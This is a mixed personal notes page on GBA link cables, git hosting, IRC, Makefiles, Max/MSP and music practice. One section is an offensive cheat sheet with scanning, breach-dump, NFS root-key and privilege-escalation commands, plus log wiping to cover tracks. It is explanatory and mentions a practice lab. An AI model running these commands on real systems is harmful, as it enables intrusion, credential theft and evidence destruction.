• GBA cart pinout

General info

Game Boy link cables can be used to send and receive data from a GB or GBA. Unfortunately depending on which cables you buy, manufacturer and model, there are many differences in the way they are wired. First of all, the basic design follows the following pinout (looking at the cable, if you are looking at the console port make sure to mirror it):

---------
| 6 4 2 |
| 5 3 1 |
\-------/

• 1: Vcc
• 2: Serial Out (SO)
• 3: Serial In (SI)
• 4: Serial Double (SD)
• 5: Serial Clock (SC)
• 6: Ground

For reference:

---------------
| GND  SD  SO |
|  SC  SI Vcc |
\-------------/

Note that when operating on a classic GB or GBC the voltage of these signals is of 5V, as opposed to the 3.3V while running a GBA game.

In many cases SO and SI should be crosswired between the two cable connectors. In case of the GBA, it is a little bit more complicated. The best way of knowing which cable connects to which pin is to cut them open and use a multimeter to do continuity check for each pin. There is an example of how this looks like with a GBC compatible cable. Note that we have 7 leads, one of them being connected to the outer ring outside of the connector.

On the other hand I got a cable for the GBA in which each end has a different number of pins:

   Big        Small
/-------\   /-------\
| 6 4 x |   | x 4 2 |
| 5 3 x |   | 5 3 x |
+--. .--+   +--. .--+
    -           -

As you can see the big end of the connector lacks the SO and VCC connections, and the small end has no ground or VCC.

Building a CV adapter to STEPPER

As of v1.4, STEPPER can send and receive CV triggers to play in sync with external gear. STEPPER should be compatible with either type of link cable and both sides of the GBA cable can be used. STEPPER uses the general purpose SIO mode to send and receive data, which means that each of the 4 data pins can be used send or receive a 3.3V signal. In Sync In mode, STEPPER will listen to any of the 4 data pins for a signal, raising an interrupt if detected. In Sync Out mode, both SO and SC will be set to high during the clock trigger, keeping the rest of the pins at 0 level.

IMPORTANT: Sending too much voltage/current to the Sync In GBA may cause problems or fry your console. Try this at your own risk, I’m not responsible with any damages they may occur in this process.

In theory this means that a link cable could be connected between 2 GBA consoles directly, but I don’t own two consoles so couldn’t really test it. Instead I made a couple of different adapters to test things out with my hardware instruments.

I’m using two different extremes of the aforementioned GBA link cable for testing sync in and out independently, but one cable can be used to connect both adapter ends. Alternatively a switch could be wired to switch between the connected pins, the world is your oyster!

The input port is made by soldering the tip of a jack adapter to the SI pin (3) and the ground pin (6) to the ground of the jack adapter. The output port on the other hand uses SD (4) as the ground connection and SO (2) as the tip of the jack. This works because STEPPER always keeps SD at a low level regardless of sync mode so it can act as ground when needed.

Link cable tester

I created a little program to test link cable pins and adapters, you can download it here. The code, as usual is freely available on this repository.

To use, press the A, B, L and/or R buttons to send a 3.3V signal to the corresponding pins. Pressing Start toggles between input and output testing. In input testing, any logic “high” signal received in any of the data pins will increment the number of received inputs.

Hosting private or shared git repositories without dependencies

Tools like Gitea/GitLab/cgit exist to be able to manage and browse code repositories in a simple way. However, I prefer to have as few dependencies as possible. For hosting my own private or shared git repositories it would be sufficient to set up some bare repositores on a target machine. The main hassle is to create new repositories there or assign permissions. But is it really a problem?

Putting an existing repository from a local machine into the remote

git clone --bare my_project my_project.git
scp -r my_project.git user@git.example.com:/srv/git

Making a remote repository shared by a group of users

Access the folder via SSH:

ssh user@git.example.com
cd /srv/git

Running the following command will allow any user on the machine within the group name_of_group to access and push to this repository. Additionally, the default branch name is main instead of master.

git init --bare --shared=name_of_group
git symbolic-ref HEAD refs/heads/main

Remove a branch in Git

Delete a local branch:

git branch -d branch-name

Delete a remote branch:

git push origin --delete branch-name-on-remote

Send and receive patches

There are 2 ways of generating patches with git. The first one is to generate a git diff with:

# Send the last commit
git diff HEAD~1 > name.of.patch

# Send the patch since a given commit with hash: 01020304
git diff 01020304 > name.of.patch

If git-send-email is correctly configured we can send a mail directly with our patch:

git send-email --to="bd@badd10de.dev" HEAD^

To apply patches from git diff or if the message was downloaded as an attachment use:

# Check if there are any issues with the patch.
git apply --check <patchname>

# Apply the patch.
git apply <patchname>

This will only apply the patch, meaning we need to commit the changed files afterwards. If the patch was sent with git send-email, we can send the entire email to git am which will update the index list with all the authors. If using mutt you can pipe the email directly to the index. If not, download the full mail and save it somewhere in your path and then:

git am pathname.mail

Resources

• Learn Git In 15 Minutes
• Git Rebase Vs. Merge
• How to write good commit messages

Related

• Vulkan
• OpenGL

Resources

• Cached Software Rendering (2020), by @rxi.
• A trip through the Graphics Pipeline (2011), by @rygorous
• A GPU Approach to Path Finding, by Chris Wellons
• SDF Distance functions in shaders
• Amazing computer graphics articles
• How does dithering works in Return of the Obra Dinn
• Ditherpunk, monochrome image dithering
• Scanline edge-flag algorithm for antialiasing
• The elusive frame timing
• How to make your game run at 60fps (Tyler Glaiel)
• Fix Your Timestep!
• Explanation of VoxelSpace rendering
• How The Wind Waker Defined Cel Shading, by Jasper
• Low Poly Modeling: Style Through Economy
• Raytracer in a weekend (books)
• 3D software rendering course

Books

• Real Time Rendering Resources

One of the most tedious parts of making applications. I long to find a good GUI toolkit that is minimal and featureful. Some existing options are:

• GTK: When using this, I’ve had some issues in the past, mostly warnings appearing on the terminal for no reason.
• QT: Problematic for non open source projects, but powerful option.
• WxWidgets: Used this one on a couple of projects, one in C++ and also with the Python bindings. Gets the job done, but seems a bit convoluted for my liking.
• EFL: Originally designed to work with Elementary OS, a window manager that I used to use when I was getting into Linux during my teenage years. I haven’t tried it yet, but looks very promising! It promises a small memory footprint and greater speed and efficiency.
• NCURSES: I don’t know if calling this a GUI is appropriate, as it is more of a TUI (Terminal User Interface). Probably this would be my options if the application was going to be terminal based.

Hacking tools

nmap

Used for network reconnaissance, port exploration, OS exploration or vulnerability exploration.

# Show TCP ports for a domain, ip, or range
nmap -sT domain.name.com.or.ip

# Similar to the command above but tries to be stealthy
nmap -sS domain.name.com.or.ip

# Perform aggressive scan
sudo nmap -A domain.name.com.or.ip

# Try to identify the OS of network machines
sudo nmap -O domain.name.com.or.ip

# Try to get the version number of the open applications
sudo nmap -sV domain.name.com.or.ip

# Run vulnerability analysis on all machines of the network
sudo nmap -sV -p21-8080 --script vulners 192.168.1.1/24

# Use decoy IP and MAC addresses to be extra stealthy (Sometimes using mac
# spoofing or too many decoys will make the analysis fail).
sudo nmap -O domain.name.com.or.ip -D RND:5 --spoof-mac 01:02:03:04:05:06

# Perform a service scan with a UDP scan and drop the initial ping.
sudo nmap -sS -sU -PN 192.168.1.1

Sherlock

Can be used to explore the social networks that a given person is a member of.

• URL: https://github.com/sherlock-project/sherlock

python3 sherlock username

h8mail

This tool can be used to explore a password database breach to find available passwords for one or more given email adresses.

# Query a single target
h8mail -t target@example.com

# Query a single target with a local breach dump
h8mail -t user@email.com -lb '/path/to/breach/compilation/directory'

# Query a list of targets without API calls against the Breach Compilation.
h8mail -t targets.txt -bc /path/to/breach/compilation/directory -sk

Shodan

Shodan is a search engine for vulnerable internet connected devices. Using it we can potentially find webcams, satellite telephones, etc. In some cases, they could be unsecured or use a simple user/password combination.

Racoon Scanner

A high performance offensive security tool for reconnaissance and vulnerability scanning. Similar to nmap but it offers more exhaustive analysis and extensive reporting capabilities.

raccoon domain.name.com

RouterSploit

Try to find and exploit vulnerabilities in routers and embedded devices with the RouterSploit framework.

# Start the framework
python3 rsf.py

# Try autopwn
use scanners/autopwn
show options
set target 192.168.1.1
run

If the analysis has found vulnerabilities, the exploit can be ran with:

use exploits/reported/exploit/path
set target 192.181.1.1
check
run

To find target devices, we can search open ports with nmap:

nmap -p 80,8080,8081,81 192.168.1.0/24

Metasploit

Framework for exploring and exploiting vulnerabilities.

A typical approach would be to:

1. Perform exploration of a particular remote/local system to find vulnerabilities.
2. Try get shell access.
3. Create a meterpreter session.
4. Perform privilege escalation or exploit the current user permissions.
5. Post exploitation, might include clearing tracks (Changing or shredding /var/log, .bash_history, .zsh_history), installing a keylogger or backdoor, uploading and running viruses, download files, take webcam picures/videos, etc.

Common vulnerabilities

rhosts misconfiguration

If the .rhosts file is misconfigured with “+ +” and the ports 512(exec),513(login),514(shell) are opoen, we can just login using rsh-client without user/password with:

rlogin -l root ip.or.domain.name

Exposed NFS filesystems

If port 2049 is open, this can mean that NFS is active on the target machine.

# Check rpc info to identify NFS
rpcinfo -p ip.or.domain.name

# Show what is being mounted, hopefully the / share (`/ *`)
showmount -e ip.or.domain.name

# Exploit this by mounting the root filesystem and adding our key to the
# authorized ssh keys for root. Note that for extra protection we could create
# a new ssh key for each attack instead of using the default one, that could give
# us away.
mount -t nfs ip.or.domain.name:/ /mnt
cat ~/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys
umount /mnt
ssh root@ip.or.domain.name

Backdoors

If we can tamper with some connection oriented services, we could insert a backdoor that allows us to connect without anyone noticing. For example, in metasploitable2 there is a doctored vsftpd service that opens a backdoor if the username ends with the :) sequence, opening a listening shell on port 6200.

Web services

Very often we can find vulnerable web services, be it because of misconfiguration, default admin passwords, or just vulnerable to the common attacks that web apps are susceptible of. We can practice these with metasploitable2 on the multillidae web application.

• NOWASP: https://sourceforge.net/projects/mutillidae/
• TUTORIALS: https://www.youtube.com/user/webpwnized

Searching for vulnerabilities

There are different search engines and databases that we can use to try to find active vulnerabilities.

Tools

Searchsploit

In linux we can use the tool Searchsploit to download offline reports of vulnerabilities.

searchsploit kernel 2.6 linux | sort -n

It is important to read through the code of the exploits instead of blindly running things you find on the internet.

Links

• www.cvedetails.com
• www.exploit-db.com

Post exploitation

Removing log files

Some interesting log files that we want to get rid of rm -rf filename, truncate truncate -s 0 filename, shred shred -zu filename, or even zeroing a file cat /dev/null > filename:

/var/log/auth.log
/var/log/cron.log
/var/log/maillog
/var/log/httpd

There are some specified tools for this purpose, like covermyass:

-URL: https://github.com/sundowndev/go-covermyass

wget "https://github.com/sundowndev/go-covermyass/releases/download/v0.2/go-covermyass_Linux_x86_64.tar.gz"
tar xfv go-covermyass.tar.gz
chmod +x go-covermyass
./go-covermyass

Privilege scalation

Linux

If you manage to get a shell to the target machine, there are several things you can do to try to get root. First of all, do some local research:

• Sytem info: uname -a, env, whoami, history, pwd
• Who else has logged in: who, w, last
• Is the user in sudoers: sudo -l, cat /etc/sudoers
• Are ther other root users: grep -v -E "^#" /etc/passwd
• What is the network configuration: ifconfig -a, netstat -antup, lsof -i
• Is there something interesting on the bash/shell history?

You can gather more intel about running serices and versions of software to try detect the attack surface.

• Enumerate services, specially those being run by root: ps aux, ps -ef
• List versions of installed software: dpkg -l, rpm -qa, httpd -v, mysql --version, python --version, ruby -v

At this stage you can use searchsploit to try to find vulnerabilities on the kernel, privileged services or anything that caught your attention.

Because simple solutions are always better, try get more info from:

• SUID/SGID files: find / -perm -u=s -type f 2>/dev/null
• Password hashes: cat /etc/shadow
• Can you overwrite files that will get run by root?
• Check jobs/tasks: ls -la /etc/cron*
• Are the ssh keys readable or can be modified in any user: ls -la ~/.ssh
• Are there any cleartext credentials in varios configurations files: find . -type f -maxdepth 4 | xargs grep -i "password"
• Check file/folder permissions, specially on home directories, and backups.

Sometimes complicated things can pay off also!

• Check for shell/exec system calls on root programs to try to set the path of custom executables. For example if a system call uses the grep program from within a root/SUID/SGID file, without an explicit path, we can create a custom grep that runs an exploit, put it on an executable on the local directory and export current path with export PATH=.:$PATH.

Windows

• Misconfigurations
• Missing DLLs
• Service hijacking

Resources

• Linux privilege scalation (g0tmi1k)
• Elevating windows privileges (Jake Williams)
• Privilege escalation talk (Jake Williams)

Connecting to a server

There are multiple IRC servers available, from the now disgraced freenode to libera and esper. To connect to a server you need to add it to the list and connect to it. You may want to change your nick after that. For example, for libera:

/server add libera irc.libera.chat:6697
/connect libera
/nick mynick

Now we can register our nick if you haven’t done it already:

/msg NickServ REGISTER password your@email.com

After that you probably want to set up your chat client to use sasl authentication. In case of Weechat:

/set irc.server.libera.nicks "mynick,mynick2,mynick3,mynick4,mynick5"
/set irc.server.libera.username "My user name"
/set irc.server.libera.realname "My real name"
/set irc.server.libera.autoconnect on
/set irc.server.libera.addresses "irc.libera.chat/6697"
/set irc.server.libera.ssl on
/set irc.server.libera.sasl_username "mynick"
/set irc.server.libera.sasl_password xxxxxxx

Basic IRC commands

• /join #channel: Joins a channel.
• /leave #channel: Leaves a channel, leaving the buffer open.
• /quit [message]: Leaves the server with optional message.
• /list: Show all channels on the server.
• /nick mynick: Changes nickname
• /names #channel: Show users on the given channel.
• /msg nickname message and /query nickname message: Send a private message to the given user, on the same buffer or a new one respectively.
• /me action: Shows an action being performed by you.
• /whois nickname: Shows user information.
• /ping nickname: Sends a ping/poke to the given user.

Resources

• IRC Reference cheat sheet

Weechat relay on a Raspberry PI

Weechat supports its own relay protocol, which makes it very convenient for using it on a Raspberry PI, since it consumes very little power. The documentation on the matter can be a bit confusing though. The simplest way I’ve found is as follows.

First, install weechat on the PI and start it:

sudo apt-get install weechat
weechat

Configure a relay password with:

/set relay.network.password "myrelaypass"

To keep things simple, add a relay for all servers without SSL, wince we are on a controlled local network (Note that SSL will still be used when connecting to servers if desired).

/relay add irc 8000

If instead you want to set up this connection with SSL use this instead (Note that you will need to obtain an SSL certificate for it to work):

/relay add ssl.irc 8000

Now you can add and configure the servers as normal on the weechat instance of the PI. Multiple servers can be configured (for example libera and esper).

/server add libera irc.libera.chat/6697
/server add esper irc.esper.net/6697
/set irc.server.libera.nicks "mynick,mynick2,mynick3,mynick4,mynick5"
/set irc.server.libera.username "My user name"
/set irc.server.libera.realname "My real name"
/set irc.server.libera.autoconnect on
/set irc.server.libera.ssl on
/set irc.server.libera.sasl_username "mynick"
/set irc.server.libera.sasl_password xxxxxxx
/set irc.server.esper.nicks "mynick,mynick2,mynick3,mynick4,mynick5"
/set irc.server.esper.username "My user name"
/set irc.server.esper.realname "My real name"
/set irc.server.esper.autoconnect on
/set irc.server.esper.ssl on
/set irc.server.esper.sasl_username "mynick"
/set irc.server.esper.sasl_password xxxxxxx
/connect libera
/connect esper

Now you can go to the client weechat instance and connect to the relay servers by specifying servername:myrelaypass as password:

/set irc.server_default.capabilities "server-time"
/server add esper raspberry.pi.local.ip.addr/8000
/server add libera raspberry.pi.local.ip.addr/8000
/set irc.server.esper.password "esper:myrelaypass"
/set irc.server.libera.password "libera:myrelaypass"
/connect esper
/connect libera

I use Makefiles in many of my projects and like many people I have a love/hate relationship with them. The main draw of using makefiles is that make is a very ubiquitous tool in most operating systems, and even though they may not be fully compatible with each other (some have their own quirks and extensions) they can be easily adapted to work on many circumstances. Makefiles are used for automation and compilation, normally expecting at least one input file and one output file.

With make, we can make sure we avoid unnecessary computing work. For example if you compile three files a.c, b.c and c.c into separate object files that are later linked into a final out executable, if we make changes to only b.c we want to avoid recompiling a.c and c.c since sometimes these compilations take a long time to complete. I also use Makefiles to generate LaTeX papers in different formats, not only for pure programming tasks. Sometimes I used them as glorified shell scripts that give me different targets I can use.

Syntax

The syntax and rules for Makefiles are a bit arcane and many people seem to have trouble with them. As usual, keeping things simple is generally preferred, and although I’m no Makefile wizard, I’m quite satisfied with this tool, specially compared with other, more complex build systems. Pay attention to the use of tab characters \t for indentation, otherwise make will likely not work.

Targets and prerequisites

Make rules follow the following format:

target: prerequisite | order-only-prerequisites
    commands...

The target is the name of the rule or output file to be generated. Prerequisites are the rules that are necessary in order to build the target. Normally the prerequisites are recursively built left to right if some of the prerequisite files change, the target will be generated. There are occasions where we don’t want this to happen, for example we only want to build the prerequisite once and don’t care if it has changed. This is useful for directory creation and such.

exe: a.o b.o | $(BUILD_DIR)
    touch exe
    echo "GOOD"

exe2: a.o b.o $(BUILD_DIR)
    touch exe2
    echo "BAD"

$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

In this case make exe2 will keep trying to build the target, whereas make exe knows that no rebuilding is necessary, since we ignore the changes for the build directory.

Variable assignment

We can assign variables in different ways:

• VAR = main.c: Verbatim assignment. Expressions in the right side will not be evaluated.
• VAR := $(wildcard *.c): Assignment with expression expansion/evaluation.
• VAR != find . -name '*.c': Shell output.
• VAR ?= 1: Conditional assignment. If this value was not passed as en environmental variable or directly during the make call.
• VAR += -flag: Appending to the preceding value of the variable.

Built-in functions

There are a number of built-in functions that are common for most make implementations. This is by no means an

• $(SRCS:.c=.o): Text substitution.
• $(shell ..): Run a shell command.
• (foreach var,list,text): Looping functions. For example: FILES := $(foreach DIR,$(DIRS),$(wildcard $(DIR)/*)).
• (if ..), (or ..),(and ..): Logic functions.
• $(error ..), $(warning ..), (info ..): Displays an error/waring or info text.
• $(addprefix pfx,list): Adds a prefix to all elements of the given list.

Implicit rules

By default, we have a number of implicit rules built into make. These can be overridden or disabled if desired (by adding .SUFFIXES: at the start of the file).

For example for C files:

%.o: %.c
    $(CC) -c $(CFLAGS) -o $@ $<

The percent symbol % denotes pattern substitution, so this means that for each a.c b.c c.c file we will generate the corresponding a.o b.o c.o file.

Notice those magic variables $@ and $<? This is where a lot of confusion with Makefiles stems. I pretty much always have to look at a reference when I have to use these things:

• $@: Target name (in our case %.o)
• $<: Name of the first prerequisite.
• $?: Name of all prerequisites newer than the target.
• $^: Name of all prerequisites with spaces between them, without duplicates.
• $+: Like $^, but those prerequisites listed more than once appear in the order they were listed in the makefile.
• $|: Name of all order-only prerequisites with spaces between them.
• $*: The stem from which an implicit rule matches. e.g. if target is dir/a.foo.b and the pattern dir/a.%.b, the stem is dir/foo

My standard makefile

I tend to copy my makefiles from project to project, adjusting things as needed. For example, for my C projects as use something like this:

.POSIX:
.SUFFIXES:
.PHONY: main run clean

# Source code location and files to watch for changes.
SRC_DIR     := src
BUILD_DIR   := build
SRC_MAIN    := $(SRC_DIR)/main.c
SRC_OBJ     :=
OBJECTS     := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.o, $(SRC_OBJ))
WATCH_SRC   := $(shell find $(SRC_DIR) -name "*.c" -or -name "*.s" -or -name "*.h")
INC_DIRS    := $(shell find $(SRC_DIR) -type d)
INC_FLAGS   := $(addprefix -I,$(INC_DIRS))

# Output names and executables.
TARGET := hello
BIN    := $(BUILD_DIR)/$(TARGET)

# Main compilation tool paths.
CC       := gcc
LD       := ld
AS       := as
OBJDUMP  := objdump

# Compiler and linker configuration.
CFLAGS         := -Wall -Wextra -pedantic
CFLAGS         += $(INC_FLAGS)
LDFLAGS        :=
LDLIBS         :=
RELEASE_CFLAGS := -O2 -DNDEBUG
DEBUG_CFLAGS   := -O0 -DDEBUG -g

# Setup debug/release builds.
DEBUG ?= 0
ifeq ($(DEBUG), 1)
    CFLAGS += $(DEBUG_CFLAGS)
else
    CFLAGS += $(RELEASE_CFLAGS)
endif

main: $(BIN)

# Compile and link everything in one go.
$(BIN): $(SRC_MAIN) $(OBJECTS) $(WATCH_SRC) | $(BUILD_DIR)
    $(CC) $(CFLAGS) $(LDFLAGS) -o $(BIN) $(SRC_MAIN) $(OBJECTS) $(LDLIBS)

# Run the program
run: $(BIN)
    ./$(BIN)

# Remove build directory.
clean:
    rm -rf $(BUILD_DIR)

# Create the build directory.
$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

# Inference rules for C files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) -c $< -o $@

We want to make our files posix compatible, so we make sure to specify it as the first non comment line. We also mark our PHONY targets (targets that don’t generate any files).

By default make already have a series of inference rules, but I like to structure my code in a certain way, so .SUFFIXES: removes these, that way I can avoid having object files spread around my source tree. All intermediate objects and the final executable will be stored in the BUILD_DIR folder and my code resides on a SRC_DIR directory. If I am using a unity build approach, I’ll just generate the main object file (SRC_MAIN), but sometimes I like to compile larger/more complex targets as separate .o files (SRC_OBJ).

Instead of generating dependency trees, I just tell the build system which files to watch for changes (WATCH_SRC). TARGET and BIN setup the main name of the executable and the final binary file that gets generated.

Depending on which architecture I’m compiling for, I will need to set specific compilers for C and assembly (as) or the linker ld. Similarly I configure the flags for the C compiler and linker with the usual CFLAGS and LDFLAGS and any external pre-compiled libraries with LDLIBS. I also setup different optimization flags for debug and release builds.

This makefile is supposed to serve as a base and I’ll grow it or change it depending on the project, but in general my user interface remains the same:

• make: will build the project.
• make run: will build and run or open the resulting file.
• make clean: Will remove the build folder and/or intermediate and transitory files.

I can configure compilation parameters by passing them to make directly. For example to generate a debug build in a separate directory, with a different target name we can use:

make run DEBUG=1 BUILD_DIR=build-debug TARGET=debug

I’ll typically add other makefile variables if I need to pass compilation parameters for example I use the following to pass some macro values in one of my projects:

KBD_PATH   ?= /dev/input/event1
MOUSE_PATH ?= /dev/input/mice
C_DEFINES  := -DKBD_PATH=\"$(KBD_PATH)\" -DMOUSE_PATH=\"$(MOUSE_PATH)\"
CFLAGS += $(C_DEFINES)

Resources

• Makefiles, but in English (Video)
• Portable Makefiles, by Chris Wellons

Max provides a multimedia processing programming language and toolkit. There are three parts to it, Max (the language), MSP (the DSP) and Jitter (the visual processing framework).

The objects have inlets and outlets. The red inlets are “hot” and blue inlets are “blue”. Blue values just edits the value, but don’t trigger the output of the object. If a “hot” inlet receives a “bang” symbol, the object operation will be triggered, causing outputs to flow. Adding a button object between an outlet and inlet, it will transform any input into a bang message.

The data always flows from top to bottom and right to left. This may bite us in the ass if we are not ready for it. For example if we have a simple addition and we put a bang on the second number to trigger the addition when either are modified, it will work as long as the bang is to the left of the rightmost inlet on the addition.

v----        v----
|int|        |int|
v----        v----
|            |
|            /
|    -------|
|    |      |
|   -v-     |
|   |B|     |
|   v--     /
|   /      /
|---  -----
|     |
v-----v
|+    |
-------

Objects can have arguments. For example, the + object has an argument that sets the initial value to be added. So if we have + 5 and we have a single number box connected to the hot inlet. The output will be 5 + whichever number is given. Note that arguments can be overriden by data coming from other inlets. For the previous example, if a second number box is connected to the cold inlet of +, it will override the initial argument, so the result will be the sum of both number boxes, discarding the initial 5.

When working with floating point numbers, we may need to add a dot initial value to the objects. For example + 0. will add floating point values, whereas + or + 0 will add integer numbers.

Useful objects generally

Not including here the basics or arithmetic operations.

• metro 30 and qmetro 30: Produce a bang each 30ms (or whichever number we want). Use qmetro when we want to account for dropped frames or things like that. Much better for jitter work to help in our CPU usage.
• t b i l: A trigger object that has an outlet for any of the given arguments (a bang, integer and list in this case).
• sel 1 2 3 4 5 6: Sends a bang to one of the outlets that matches the value tested in the first outlet.
• attrui: Pops an UI that can be used to adjust parameters on an object.
• counter 1 10: Each time that it receives a bang, it will output its current value and increment the counter.
• scale 0 99 0 599: Scales the input number in a 0-99 range to a 0-600 range.
• line 0.: Linearly interpolates the given floating point value. Expects a floating point number and a time value in ms, usually the same as the metronome: scale -> pack f 500 -> line 0..
• jit.movie: Needs a read message and a bang and outputs a frame of the given movie.
• jit.brcosa: Allow us to adjust brightness, contrast and saturation.
• jit.window and jit.pwindow: Basic window for visual output.
• jit.noise 4 char 20 10: Outputs a 4 plane 8bit (rgba) noise matrix of 20 pixels (width) x 10 pixels (height).
• jit.matrix 4 char 480 320: An RGBA matrix with dimensions 480x320.
• jit.unpack and jit.pack: Splits or joins a jitter matrix into/from its individual planes.
• jit.rota: Scales/rotates a 2D plane. Can make for very cool FX, take a look at the attributes of this object

Note that piping a jit.noise 4 char 10 10 into a jit.matrix 4 char 480 320 will result in an upscaling transformation of the dimensions of the former into the latter.

Shortcuts

• n: new object box
• m: new message box
• c: comment
• t: toggle
• b: button (bang)
• i: integer number box
• f: float number box
• cmd + e: lock/unlock patch
• cmd + j: resize object
• alt + drag: make a new copy of the selection
• alt + click: open help file for this object

Introduction

Music practice is an essential skill to cultivate if we want to grow as artists. Practice can mean different things depending on our goals, our current progress towards those goals, and how much time do we have available to devote to it. Regardless, consistency is key when trying to improve a skill, and 15min daily practice is much more useful than 12h in a single day once a month. Music is an unbelievable deep topic of study. Mastering a single instrument can take a lifetime and one would still have room to grow. Music theory, composition, writing, technique, musicality, repertoire. We will never be able to know everything we would like as musicians in all these fields, but we can strive to improve in all or some of them.

In this page you can find a number of notes offering ideas for practice methods and routines. Ultimately, practice routines should be personalized to each individual, and in many ways there isn’t an “ideal” practice schedule or perfect method that will magically turn you into a music master, stay clear of anyone that claims it so. Putting in focused work will always yield results, sometimes faster and sometimes slower and that is fine! When learning ANY skill, we all go through plateaus and sometimes even periods of regressed development. As artists, we tend to feel like we aren’t making progress or that our work is bad and you ought to stop and consider that the first step for being good at something is being bad at it.

With that said, there are methods that sometimes can make us work more efficiently or practice multiple areas simultaneously.

Ask yourself the following questions:

1. How much time can I set aside for practice? Daily practice will always be better, and more time will yield results faster than less, but “some” time will ALWAYS be better than “no” time.
2. What are the areas that I want to focus on improving? Trying to do everything at once can be a recipe for disaster. Burnout is real and you can always alternate periods of study different areas of music development throughout the year. If you are having fun and have the time, go for it! Everyone has a different rhythm and availability. Choose 1 or 2 areas to improve and give yourself a period of time for those.
3. What are my short and long term goals and ambitions? Not everyone wants or needs to play an instrument like a virtuoso, sometimes “good enough” is more than good enough! Sometimes fun or social interaction is the main objective. Maybe you just want to play the blues, maybe you are into jazz or heavy metal, or all of them. Do you want to learn to improvise and solo? Are you more interested in rhythm? Will you stop at nothing to be a world class composer? Do you want to be in a band or go to open mic nights? Be realistic but aim as high as you want, its better to believe in an utopia than give in to despair.
4. Which time of the day would you be able to start? I personally advocate for doing it first thing in the day if you can afford it (or the earliest you can), specially if you are getting started. In my eyes, willpower is a bucket that refills during the night and slowly leaks out during the day, pouring out as we do tiresome or boring activities. Everyone is different and what works for me may be different than what for you! Also we all have responsibilities we can’t escape, so try to find a time that works for you, any time is fine. Try to schedule it if possible, put it in your calendar and make it a priority.
5. Are you prone to distractions? I certainly am, which is why before I start I try to unclutter as much as possible, sometimes going as far as disconnecting from the internet or leaving the phone in a different room. Try to keep your environment clear of anything non-essential during your practice time. In the same manner, if you can try to leave things ready the day before. Having to connect a bunch of cables or even taking instruments from a case that is in a different room will increase the chance your mind will wonder and will be more difficult to start. This effect is very dramatic for me, having a guitar rack with my instruments on display will make me pick one way more often, and sometimes a bit of noodling can be inspiring you to go on a 5h songwriting spree.
6. For how long will you be able to keep a schedule? I find it helpful to have periods of practice and soft “deadlines”. For example you can do monthly challenges (a jam a day, a song a week, etc.) or methods that go on for a semester, a quarter or a year. This is not strictly necessary, but think about it this way, you can always start a new period right after you finished the previous one, and this would be ideally what you would do.

Use those questions to guide you in creating a practice routing that works for you and remember that if the one you are doing doesn’t work out, you can always change it! Just make sure to give it a chance at least, don’t switch things around on the daily.

Without further ado, here are some suggestions for different areas of learning.

Instrument Practice

If you play an instrument (or several) and want to become proficient at using them and more directly translating the sounds and patterns in your head into sound, you must practice. It doesn’t matter which instrument we play, from guitar and drums to synths, sequencers and Eurorack modules (or even your computer!), all of them benefit from regular practice. Many of these areas of practices are often intertwined, and we can practice some of them simultaneously with different exercises.

Personally I’m a fan of trying to always practice in a musical context unless I’m drilling a particular technique or phrase that needs a lot of repetition. Even that, though, can be adjusted to make it more practical. I believe in specificity, so if all we do is play scales up and down, that’s the sound that will more easily come out when we are improvising or noodling around. Instead, I prefer to prepare and practice lines/phrases, different scale patterns, and practice arpeggios by following a chord progression.

Knowledge

Knowledge of an instrument can take many forms. In a guitar one may want to learn to find all the notes in the fretboard without hesitation but knowing how to play scales and arpeggios in different positions or registers is applicable to many instruments. When practicing scales and arpeggios, try to not just play them up and down mindlessly unless you are learning them for the first time. Instead, use different note groupings, different ascending and descending patterns, etc. Have a chord progression running in the background and play to that, hearing where the chord tones are the contrast and consonance between the notes we are playing and those within the chords we have. Experiment with different arpeggio voicings and extended notes (9ths, 13ths) or skipping some (no 5ths). The same idea can be applied to chord practice, try not to stick to the same sounds every time and internalize how each voicing sounds like. A very useful exercise is to visualize and/or even sing the notes we are trying to play before or simultaneously as we play them (Check out George Benson for context).

Knowledge can mean learning how to access different sound shaping tools in a synth, how to sequence or adjust parameters and what each of them do. This is better practice by avoiding presets and trying using dedicated sound design sessions to create different styles of sounds. If using presets, trying to start with a sound you like and modify it with intent, knowing what would you like to achieve before start turning knobs. With that said, sometimes random knob twisting can lead to happy accidents and help us achieve new sounds we wouldn’t come up with necessarily.

Knowledge is also understanding how to maintain and repair your instrument when such thing is needed, this is somewhat a more difficult skill to practice unless you work on a repair shop or similar, but I try to do all maintenance of my instruments myself whenever possible.

Knowledge may also be understanding the language of the style of music we want to play and the vocabulary that is employed in it. Learning classic licks/phrases, chord progressions, songs (e.g. 12-bar blues) and the common lingo is important to be able to communicate with other musicians within the same style. Build your vocabulary not only by playing and creating, but also (specially) by listening to other artists in the style and internalizing the lines in our own playing. This also applies to electronic music! You aren’t making Drum-and-bass if you don’t know how the instruments interact, the sounds they typically have or the speed you are supposed to play it as. DnB is not DnB if you play it at 50bpm isn’t it?

Technique

Ah yes, technique! The obsession of music players all over the world, sometimes by necessity, sometimes by a sense of wonder, and often times practiced for fitness. If you are playing fast Rachmaninoff passages or learning guitar shred solos you need to have a high level of technique. If you are playing blues, you may want a certain level of technique for specific phrases but you could express yourself just fine with simpler and carefully chosen notes. Ask yourself what kind of level you want to have for the music you are interested in and don’t get obsessed with being the fastest player in the world if you don’t need to. I try to aim to be able to slightly go above the target speed that a song calls for, as it gives you a buffer. After all, if you are able to play something at 120bpm, you should be able to play it easier at 110.

Speed is just one part of the study of technique. It is important that, at whichever speed we are playing, everything sounds clear. Focusing only on speed without listening to our tone is a recipe for sounding sloppy. Play only as fast as you can without making mistakes and with all your notes ringing clearly and in tune. I won’t go into much detail for specific techniques for different instruments, but things like guitar bending or vibrato, vocal falsetto, or violin bowings require their own dedicated practice time. In the context of computer or synth music making, technique could involve learning shortcuts for your DAW, practicing performance transitions in your synths or any number of parameter automation/live playing. I’ll repeat it again, speed is not the only technique we need to focus when practicing an instrument.

When practicing technique, specially in dedicated sessions, make sure you spend a bit of time warming up with slower exercises and stretching. Often physical health is ignored in practice routines but with a bit of care you should be able to practice for more time and more often while avoiding injuries. When injuries do happen, please try to address them as soon as possible and understand that they can take time to fully heal. Adjust your playing and practice as necessary.

